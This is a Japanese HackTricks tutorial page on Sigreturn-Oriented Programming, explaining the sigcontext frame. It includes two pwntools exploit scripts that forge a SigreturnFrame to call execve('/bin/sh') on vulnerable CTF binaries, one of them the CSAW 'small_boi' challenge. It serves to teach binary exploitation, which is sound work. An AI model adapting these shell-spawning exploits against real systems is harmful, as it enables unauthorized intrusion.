SROP - Sigreturn-Oriented Programming

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricksをサポートする他の方法:

基本情報

Sigreturn は、主にシグナルハンドラが実行を完了した後のクリーンアップに使用される特別な シスコール です。シグナルは、オペレーティングシステムによってプログラムに送信される割り込みであり、通常は何らかの例外的な状況が発生したことを示すために送信されます。プログラムがシグナルを受信すると、現在の作業を一時停止して、シグナルを処理するための シグナルハンドラ と呼ばれる特別な関数で処理します。

シグナルハンドラが終了した後、プログラムは何も起こらなかったかのように 以前の状態に戻る必要があります。 ここで sigreturn が登場します。これにより、プログラムは シグナルハンドラから戻り、シグナルハンドラで使用されたスタックフレーム(関数呼び出しとローカル変数を格納するメモリセクション)をクリーンアップしてプログラムの状態を復元できます。

興味深いのは、sigreturn がプログラムの状態を復元する方法です:これは、CPUのすべてのレジスタ値をスタックに保存することで行います。 シグナルがブロックされなくなると、sigreturn はこれらの値をスタックからポップして、効果的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、スタックポインタレジスタ(RSP)も含まれます。これは現在のスタックのトップを指すレジスタです。

ROPチェーンから sigreturn を呼び出し、スタックにロードしたいレジストリ値を追加することで、すべてのレジスタ値を 制御 し、そのために例えば /bin/shexecve シスコールを呼び出すことが可能です。

これは、他の Ret2syscall を呼び出すためのパラメータを制御しやすくする Ret2syscall の一種 であることに注意してください:

pageRet2syscall

興味がある場合は、後で値を回復するためにスタックに保存される sigcontext 構造 を見てみてください(こちらの図表から)。

+--------------------+--------------------+
| rt_sigeturn()      | uc_flags           |
+--------------------+--------------------+
| &uc                | uc_stack.ss_sp     |
+--------------------+--------------------+
| uc_stack.ss_flags  | uc.stack.ss_size   |
+--------------------+--------------------+
| r8                 | r9                 |
+--------------------+--------------------+
| r10                | r11                |
+--------------------+--------------------+
| r12                | r13                |
+--------------------+--------------------+
| r14                | r15                |
+--------------------+--------------------+
| rdi                | rsi                |
+--------------------+--------------------+
| rbp                | rbx                |
+--------------------+--------------------+
| rdx                | rax                |
+--------------------+--------------------+
| rcx                | rsp                |
+--------------------+--------------------+
| rip                | eflags             |
+--------------------+--------------------+
| cs / gs / fs       | err                |
+--------------------+--------------------+
| trapno             | oldmask (unused)   |
+--------------------+--------------------+
| cr2 (segfault addr)| &fpstate           |
+--------------------+--------------------+
| __reserved         | sigmask            |
+--------------------+--------------------+

より詳しい説明はこちらをチェックしてください:

こちらの例で、signeturnへの呼び出しがROPを介して構築されているのがわかります(rxaに値0xfを入れる)。ただし、これはそこからの最終的なエクスプロイトです:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = process()

BINSH = elf.address + 0x1250
POP_RAX = 0x41018
SYSCALL_RET = 0x41015

frame = SigreturnFrame()
frame.rax = 0x3b            # syscall number for execve
frame.rdi = BINSH           # pointer to /bin/sh
frame.rsi = 0x0             # NULL
frame.rdx = 0x0             # NULL
frame.rip = SYSCALL_RET

payload = b'A' * 8
payload += p64(POP_RAX)
payload += p64(0xf)         # 0xf is the number of the syscall sigreturn
payload += p64(SYSCALL_RET)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

以下は、バイナリがすでにsigreturnを呼び出していたため、ROPを構築する必要がない場所からのexploitはこちらをチェックしてください。

from pwn import *

# Establish the target
target = process("./small_boi")
#gdb.attach(target, gdbscript = 'b *0x40017c')
#target = remote("pwn.chal.csaw.io", 1002)

# Establish the target architecture
context.arch = "amd64"

# Establish the address of the sigreturn function
sigreturn = p64(0x40017c)

# Start making our sigreturn frame
frame = SigreturnFrame()

frame.rip = 0x400185 # Syscall instruction
frame.rax = 59       # execve syscall
frame.rdi = 0x4001ca # Address of "/bin/sh"
frame.rsi = 0x0      # NULL
frame.rdx = 0x0      # NULL

payload = "0"*0x28 # Offset to return address
payload += sigreturn # Function with sigreturn
payload += str(frame)[8:] # Our sigreturn frame, adjusted for the 8 byte return shift of the stack

target.sendline(payload) # Send the target payload

# Drop to an interactive shell
target.interactive()

その他の例と参考文献

Last updated